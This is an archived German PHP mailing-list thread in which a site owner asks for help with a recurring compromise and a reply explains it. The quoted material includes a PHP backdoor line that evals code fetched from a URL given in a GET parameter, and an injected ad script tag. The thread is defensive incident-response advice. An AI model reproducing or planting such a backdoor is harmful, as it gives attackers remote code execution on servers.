phpbar.de logo

Mailinglisten-Archive

[php] Problem mit Hacker - eval sperren

[php] Problem mit Hacker - eval sperren

Lutz Zetzsche Lutz.Zetzsche at sea-rescue.de
Mon Jan 22 17:56:34 CET 2007


Hallo Harald,

Am Montag, 22. Januar 2007 17:26 schrieb ANGEL Harald:
> Hallo phpListe!
> Ich schreibe heute wegen eines ernsten Problems:
> Ich habe seit einer Woche einen Hacker auf meinem Webserver, aber
> mein Provider findet leider nicht heraus, wie er ins System kommt bzw
> kann mir den Webserver nicht sicher machen.

hattest Du nicht schon früher mal diverse Probleme mit diesem Provider? 
Da wußten die doch auch nicht weiter, oder verwechsele ich da was? Wenn 
ich nichts verwechsele, solltest Du endlich mal den Provider 
wechseln. :-)


> Was der Hacker macht? Er 
> fügt in meine Startseite eine Layerwerbung ein: <script
> src="http://layer-ads.de/la-33101.js"
> type="text/javascript"></script> durch die verdient er Geld - was
> einerseits schon mal eine Frechheit ist, andererseits bleibt dadurch
> der aufbau meiner Website stehen.
>
> Die Datei hat nach dem ändern den User www-data, und wenn ich die
> Zeile rauslösche ist sie nach 5min wieder drin :( Hab jetzt schon
> rausgefunden, dass er meine komplette Seite mit seiner ersetz. Wie er
> das macht, keine Ahnung. Ausschließen kann ich, dass er root Zugriff
> auf den Server hat.

Dazu braucht man auch keine root-Rechte. Um Deine Dateien zu 
manipulieren, reichen doch Deine Rechte. :-) Es könnte es Cronjob oder 
ähnliches sein, der in Minutenabständen prüft, ob seine Änderungen noch 
online sind. Wenn nicht sorgt das Skript wieder dafür.


> Hab in einem anderen Script folgendes gefunden:
> //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e980
>0998ecf8427e";s:8:"quota_mb";i:0;s:17:
> "upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"erro
>r_reporting";s:0:"";s:7:"fm_root";s:0:"";
> s:17:"cookie_cache_time";i:1171902116;s:7:"version";s:5:"0.9.3";}

Sieht serialisiert aus. Mußt Du mal umwandeln. Sieht aber grundsätzlich 
nach einem Array mit Parametern und PHP-Einstellungen aus.


> if(!empty($_GET['url']))eval(str_replace(Array('<?php', '<?', '?>')
> ,Array('','','') ,implode('', file(stripslashes($_GET['url']))))); }
> hab leider keine ahnung, was das macht, auf jeden Fall ist es nicht

Das ist schlecht, daß Du das nicht weißt.

Da wird eine beliebige URL per GET an das Skript übergeben und über 
file() von einem fremden Server in Dein PHP-Skript eingebunden und der 
enthaltene PHP-Code in Deinem Skript ausgeführt. Das ist möglich, weil 
bei Dir wohl allow_url_fopen auf ON steht...


> von mir. Habe vom Provider den Befehl "eval" sperren lassen, aber das
> funktioniert anscheinend nicht. Er hat in die php.ini folgendes
> eingetragen:
> disable_functions = show_source, system, shell_exec, passthru, exec,
> phpinfo, eval, proc_open, escapeshellcmd
> nur leider funktioniert der Befehl eval noch immer.

Was steht denn in der phpinfo() als master value und local value?


> erste Frage: Was hats da mit dem eval? Kann man den nicht sperren?

Siehe oben.


> Wenn doch: Wie? zweite Frage: Habt Ihr einen Tipp wie ich den Typen
> los werde?

Wenn ausgeschlossen werden kann, daß der Angreifer root-Rechte hatte, 
wäre es zunächst ausreichend, Deine Website komplett neu aufzusetzen, 
d.h. alles löschen und von einer sauberen Kopie aus wieder herstellen. 
Ebenso Passwörter etc. ändern.

Solange Du allerdings nicht weiß, wie der Angreifer Deinen Benutzer 
kompromittieren konnte, kann es Dir danach jederzeit sofort wieder 
passieren. Angenommen, die ausgenutzte Sicherheitslücke ist in Deiner 
Programmierung versteckt und Du schließt sie nicht, kann der Angreifer 
sie ja jederzeit einfach wieder nutzen. Dann geht das Ganze von vorne 
los. Es wäre also enorm wichtig, genau festzustellen, wie der Einbruch 
erfolgt ist. Dazu mußt Du mit Deinem Provider zusammen die Logs 
auswerten. Wenn Du Glück hast, hat der Angreifer nicht alle Spuren 
verwischt.


Viele Grüße
Lutz

php::bar PHP Wiki   -   Listenarchive